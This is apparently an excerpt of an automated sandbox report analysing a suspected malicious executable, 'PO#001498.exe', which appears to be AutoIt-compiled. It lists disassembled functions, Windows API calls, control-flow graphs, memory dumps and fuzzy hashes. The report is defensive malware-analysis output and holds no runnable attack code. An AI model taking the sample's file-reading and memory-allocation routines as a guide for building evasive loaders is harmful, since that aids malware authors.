                                                                                                                                                                                                        • API String ID: 3219444185-0
                                                                                                                                                                                                        • Opcode ID: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                                                                                                                                        • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                                                                        Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                                                                        • String ID: FILE
                                                                                                                                                                                                        • API String ID: 3888824918-3121273764
                                                                                                                                                                                                        • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                                        • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                                                                        Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                                        • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                                        • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                                        • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                                        • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                                        • ImageList_ReplaceIcon.COMCTL32(00A738B0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                                                        • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                                                        • API String ID: 2914291525-1005189915
                                                                                                                                                                                                        • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                                        • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                                                                        Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                                        • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                                        • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                                        • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                                        • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                                        • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                                          • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                                          • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                                          • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                                          • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                                          • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                                          • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                                          • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00A738B0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                                                        • String ID: #$0$PGH
                                                                                                                                                                                                        • API String ID: 423443420-3673556320
                                                                                                                                                                                                        • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                                        • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                                                                        Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                                          • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                                          • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                                                                        • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00452689
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00452696
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1911931848-0
                                                                                                                                                                                                        • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                                                        • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                                                                        Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1294 40f450-40f45c call 425210 1297 40f460-40f478 1294->1297 1297->1297 1298 40f47a-40f4a8 call 413990 call 410f70 1297->1298 1303 40f4b0-40f4d1 call 4151b0 1298->1303 1306 40f531 1303->1306 1307 40f4d3-40f4da 1303->1307 1308 40f536-40f540 1306->1308 1309 40f4dc-40f4de 1307->1309 1310 40f4fd-40f517 call 41557c 1307->1310 1312 40f4e0-40f4e2 1309->1312 1313 40f51c-40f51f 1310->1313 1314 40f4e6-40f4ed 1312->1314 1313->1303 1315 40f521-40f52c 1314->1315 1316 40f4ef-40f4f2 1314->1316 1319 40f543-40f54e 1315->1319 1320 40f52e-40f52f 1315->1320 1317 42937a-4293a0 call 41557c call 4151b0 1316->1317 1318 40f4f8-40f4fb 1316->1318 1330 4293a5-4293c3 call 4151d0 1317->1330 1318->1310 1318->1312 1322 40f550-40f553 1319->1322 1323 40f555-40f560 1319->1323 1320->1316 1322->1316 1325 429372 1323->1325 1326 40f566-40f571 1323->1326 1325->1317 1328 429361-429367 1326->1328 1329 40f577-40f57a 1326->1329 1328->1314 1331 42936d 1328->1331 1329->1316 1330->1308 1331->1325
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                                                                        • String ID: AU3!$EA06
                                                                                                                                                                                                        • API String ID: 3818483258-2658333250
                                                                                                                                                                                                        • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                                        • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                                                                        Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1334 410130-410142 SHGetMalloc 1335 410148-410158 SHGetDesktopFolder 1334->1335 1336 42944f-429459 call 411691 1334->1336 1338 4101d1-4101e0 1335->1338 1339 41015a-410188 call 411691 1335->1339 1338->1336 1344 4101e6-4101ee 1338->1344 1346 4101c5-4101ce 1339->1346 1347 41018a-4101a1 SHGetPathFromIDListW 1339->1347 1346->1338 1348 4101a3-4101b1 call 411691 1347->1348 1349 4101b4-4101c0 1347->1349 1348->1349 1349->1346
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                                                                        • String ID: C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                                        • API String ID: 192938534-2061014186
                                                                                                                                                                                                        • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                                        • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                                                                        Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1352 401230-40123b 1353 401241-401272 call 4131f0 call 401be0 1352->1353 1354 4012c5-4012cd 1352->1354 1359 401274-401292 1353->1359 1360 4012ae-4012bf KillTimer SetTimer 1353->1360 1361 42aa61-42aa67 1359->1361 1362 401298-40129c 1359->1362 1360->1354 1365 42aa8b-42aaa7 Shell_NotifyIconW 1361->1365 1366 42aa69-42aa86 Shell_NotifyIconW 1361->1366 1363 4012a2-4012a8 1362->1363 1364 42aaac-42aab3 1362->1364 1363->1360 1367 42aaf8-42ab15 Shell_NotifyIconW 1363->1367 1368 42aad7-42aaf3 Shell_NotifyIconW 1364->1368 1369 42aab5-42aad2 Shell_NotifyIconW 1364->1369 1365->1360 1366->1360 1367->1360 1368->1360 1369->1360
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00401257
                                                                                                                                                                                                          • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                                          • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                                          • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                                                          • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                                        • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                                                                        • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                                                                        • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                                                                        • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                                                                        • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1792922140-0
                                                                                                                                                                                                        • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                                        • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                                                                        Function 03FEE608 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1370 3fee608-3fee6b6 call 3fec008 1373 3fee6bd-3fee6e3 call 3fef518 CreateFileW 1370->1373 1376 3fee6ea-3fee6fa 1373->1376 1377 3fee6e5 1373->1377 1382 3fee6fc 1376->1382 1383 3fee701-3fee71b VirtualAlloc 1376->1383 1378 3fee835-3fee839 1377->1378 1380 3fee87b-3fee87e 1378->1380 1381 3fee83b-3fee83f 1378->1381 1384 3fee881-3fee888 1380->1384 1385 3fee84b-3fee84f 1381->1385 1386 3fee841-3fee844 1381->1386 1382->1378 1387 3fee71d 1383->1387 1388 3fee722-3fee739 ReadFile 1383->1388 1389 3fee8dd-3fee8f2 1384->1389 1390 3fee88a-3fee895 1384->1390 1391 3fee85f-3fee863 1385->1391 1392 3fee851-3fee85b 1385->1392 1386->1385 1387->1378 1397 3fee73b 1388->1397 1398 3fee740-3fee780 VirtualAlloc 1388->1398 1393 3fee8f4-3fee8ff VirtualFree 1389->1393 1394 3fee902-3fee90a 1389->1394 1399 3fee899-3fee8a5 1390->1399 1400 3fee897 1390->1400 1395 3fee865-3fee86f 1391->1395 1396 3fee873 1391->1396 1392->1391 1393->1394 1395->1396 1396->1380 1397->1378 1401 3fee787-3fee7a2 call 3fef768 1398->1401 1402 3fee782 1398->1402 1403 3fee8b9-3fee8c5 1399->1403 1404 3fee8a7-3fee8b7 1399->1404 1400->1389 1410 3fee7ad-3fee7b7 1401->1410 1402->1378 1407 3fee8c7-3fee8d0 1403->1407 1408 3fee8d2-3fee8d8 1403->1408 1406 3fee8db 1404->1406 1406->1384 1407->1406 1408->1406 1411 3fee7ea-3fee7fe call 3fef578 1410->1411 1412 3fee7b9-3fee7e8 call 3fef768 1410->1412 1418 3fee802-3fee806 1411->1418 1419 3fee800 1411->1419 1412->1410 1420 3fee808-3fee80c CloseHandle 1418->1420 1421 3fee812-3fee816 1418->1421 1419->1378 1420->1421 1422 3fee818-3fee823 VirtualFree 1421->1422 1423 3fee826-3fee82f 1421->1423 1422->1423 1423->1373 1423->1378
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03FEE6D9
                                                                                                                                                                                                        • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03FEE8FF
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateFileFreeVirtual
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 204039940-0
                                                                                                                                                                                                        • Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                                                        • Instruction ID: fbe4ae12b48c51441f90a74c2ac1e7463ae429067ec37016de490263b3791708
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D6A13574E00209EBDB14CFA4D998BEEBBB5FF58304F248199E511BB280D7759A80CF90
                                                                                                                                                                                                        Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1424 414f10-414f2c 1425 414f4f 1424->1425 1426 414f2e-414f31 1424->1426 1427 414f51-414f55 1425->1427 1426->1425 1428 414f33-414f35 1426->1428 1429 414f37-414f46 call 417f23 1428->1429 1430 414f56-414f5b 1428->1430 1442 414f47-414f4c call 417ebb 1429->1442 1431 414f6a-414f6d 1430->1431 1432 414f5d-414f68 1430->1432 1435 414f7a-414f7c 1431->1435 1436 414f6f-414f77 call 4131f0 1431->1436 1432->1431 1434 414f8b-414f9e 1432->1434 1440 414fa0-414fa6 1434->1440 1441 414fa8 1434->1441 1435->1429 1439 414f7e-414f89 1435->1439 1436->1435 1439->1429 1439->1434 1445 414faf-414fb1 1440->1445 1441->1445 1442->1425 1446 4150a1-4150a4 1445->1446 1447 414fb7-414fbe 1445->1447 1446->1427 1449 414fc0-414fc5 1447->1449 1450 415004-415007 1447->1450 1449->1450 1451 414fc7 1449->1451 1452 415071-415072 call 41e6b1 1450->1452 1453 415009-41500d 1450->1453 1454 415102 1451->1454 1455 414fcd-414fd1 1451->1455 1463 415077-41507b 1452->1463 1457 41500f-415018 1453->1457 1458 41502e-415035 1453->1458 1466 415106-41510f 1454->1466 1461 414fd3 1455->1461 1462 414fd5-414fd8 1455->1462 1464 415023-415028 1457->1464 1465 41501a-415021 1457->1465 1459 415037 1458->1459 1460 415039-41503c 1458->1460 1459->1460 1467 415042-41504e call 41453a call 41ed9e 1460->1467 1468 4150d5-4150d9 1460->1468 1461->1462 1469 4150a9-4150af 1462->1469 1470 414fde-414fff call 41ee9b 1462->1470 1463->1466 1471 415081-415085 1463->1471 1472 41502a-41502c 1464->1472 1465->1472 1466->1427 1492 415053-415058 1467->1492 1477 4150eb-4150fd call 417f23 1468->1477 1478 4150db-4150e8 call 4131f0 1468->1478 1473 4150b1-4150bd call 4131f0 1469->1473 1474 4150c0-4150d0 call 417f23 1469->1474 1486 415099-41509b 1470->1486 1471->1468 1479 415087-415096 1471->1479 1472->1460 1473->1474 1474->1442 1477->1442 1478->1477 1479->1486 1486->1446 1486->1447 1493 415114-415118 1492->1493 1494 41505e-415061 1492->1494 1493->1466 1494->1454 1495 415067-41506f 1494->1495 1495->1486
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3886058894-0
                                                                                                                                                                                                        • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                                                        • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
